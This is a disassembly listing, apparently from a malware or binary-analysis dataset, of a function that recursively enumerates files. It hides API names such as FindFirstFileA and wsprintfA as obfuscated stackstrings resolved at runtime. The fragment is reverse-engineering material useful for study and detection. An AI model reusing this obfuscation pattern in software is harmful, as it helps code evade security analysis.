Function at 0x409742
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
mov eax, 0x4211e5
call fcn.00420700
sub esp, 0x4a8
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x2ac]
push 0
mov dword [ebp - 0x50], ecx
push eax
call sub.MSVCRT.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
and byte [ebp - 0x14], 0
add esp, 0xc
lea eax, [ebp - 0x1c]
mov ebx, str.KERNEL32.dll
mov byte [ebp - 0x1c], 0x6c
push eax
push ebx
mov byte [ebp - 0x1b], 0x73
mov byte [ebp - 0x1a], 0x74
mov byte [ebp - 0x19], 0x72
mov byte [ebp - 0x18], 0x6c
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x6e
mov byte [ebp - 0x15], 0x41
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push dword [ebp + 8]
call eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x10], 0x426820
cmp byte [eax + ecx - 1], 0x5c
jne 0x4097ca
mov dword [ebp - 0x10], 0x42d3ec
and byte [ebp - 0x1f], 0
lea eax, [ebp - 0x28]
push eax
push str.USER32.dll
mov byte [ebp - 0x28], 0x77
mov byte [ebp - 0x27], 0x73
mov byte [ebp - 0x26], 0x70
mov byte [ebp - 0x25], 0x72
mov byte [ebp - 0x24], 0x69
mov byte [ebp - 0x23], 0x6e
mov byte [ebp - 0x22], 0x74
mov byte [ebp - 0x21], 0x66
mov byte [ebp - 0x20], 0x41
call esi
push eax
call edi
push dword [ebp - 0x10]
lea ecx, [ebp - 0x2ac]
mov dword [ebp - 0x48], eax
push dword [ebp + 8]
push str._s_s.
push ecx
call eax
and byte [ebp - 0x36], 0
add esp, 0x10
lea eax, [ebp - 0x44]
mov byte [ebp - 0x44], 0x46
push eax
push ebx
mov byte [ebp - 0x43], 0x69
mov byte [ebp - 0x42], 0x6e
mov byte [ebp - 0x41], 0x64
mov byte [ebp - 0x40], 0x46
mov byte [ebp - 0x3f], 0x69
mov byte [ebp - 0x3e], 0x72
mov byte [ebp - 0x3d], 0x73
mov byte [ebp - 0x3c], 0x74
mov byte [ebp - 0x3b], 0x46
mov byte [ebp - 0x3a], 0x69
mov byte [ebp - 0x39], 0x6c
mov byte [ebp - 0x38], 0x65
mov byte [ebp - 0x37], 0x41
call esi
push eax
call edi
lea ecx, [ebp - 0x1a8]
push ecx
lea ecx, [ebp - 0x2ac]
push ecx
call eax
cmp eax, 0xffffffff
mov dword [ebp - 0x4c], eax
jne 0x40987f
xor al, al
jmp 0x409989
push str.FindNextFileA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x54], eax
cmp byte [ebp - 0x17c], 0x2e
je 0x40993c
lea eax, [ebp - 0x17c]
test byte [ebp - 0x1a8], 0x10
push eax
push dword [ebp - 0x10]
push dword [ebp + 8]
push str._s_s_s
je 0x4098d3
lea eax, [ebp - 0x4b4]
push eax
call dword [ebp - 0x48]
mov ecx, dword [ebp - 0x50]
add esp, 0x14
lea eax, [ebp - 0x4b4]
push eax
call fcn.00409742
jmp 0x40993c
lea eax, [ebp - 0x3b0]
push eax
call dword [ebp - 0x48]
mov al, byte [ebp + 0xb]
add esp, 0x14
lea ecx, [ebp - 0x64]
mov byte [ebp - 0x64], al
push 0
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea eax, [ebp - 0x3b0]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x64]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
mov eax, dword [ebp - 0x50]
and dword [ebp - 4], 0
lea edx, [ebp - 0x64]
lea ecx, [eax + 0x114]
push edx
mov eax, dword [ecx + 4]
push eax
lea eax, [ebp - 0x68]
push eax
call fcn.0040a044
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x64]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea eax, [ebp - 0x1a8]
push eax
push dword [ebp - 0x4c]
call dword [ebp - 0x54]
test eax, eax
jne 0x40988d
and byte [ebp - 0x2b], al
lea eax, [ebp - 0x34]
push eax
push ebx
mov byte [ebp - 0x34], 0x46
mov byte [ebp - 0x33], 0x69
mov byte [ebp - 0x32], 0x6e
mov byte [ebp - 0x31], 0x64
mov byte [ebp - 0x30], 0x43
mov byte [ebp - 0x2f], 0x6c
mov byte [ebp - 0x2e], 0x6f
mov byte [ebp - 0x2d], 0x73
mov byte [ebp - 0x2c], 0x65
call esi
push eax
call edi
push dword [ebp - 0x4c]
call eax
mov al, 1
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4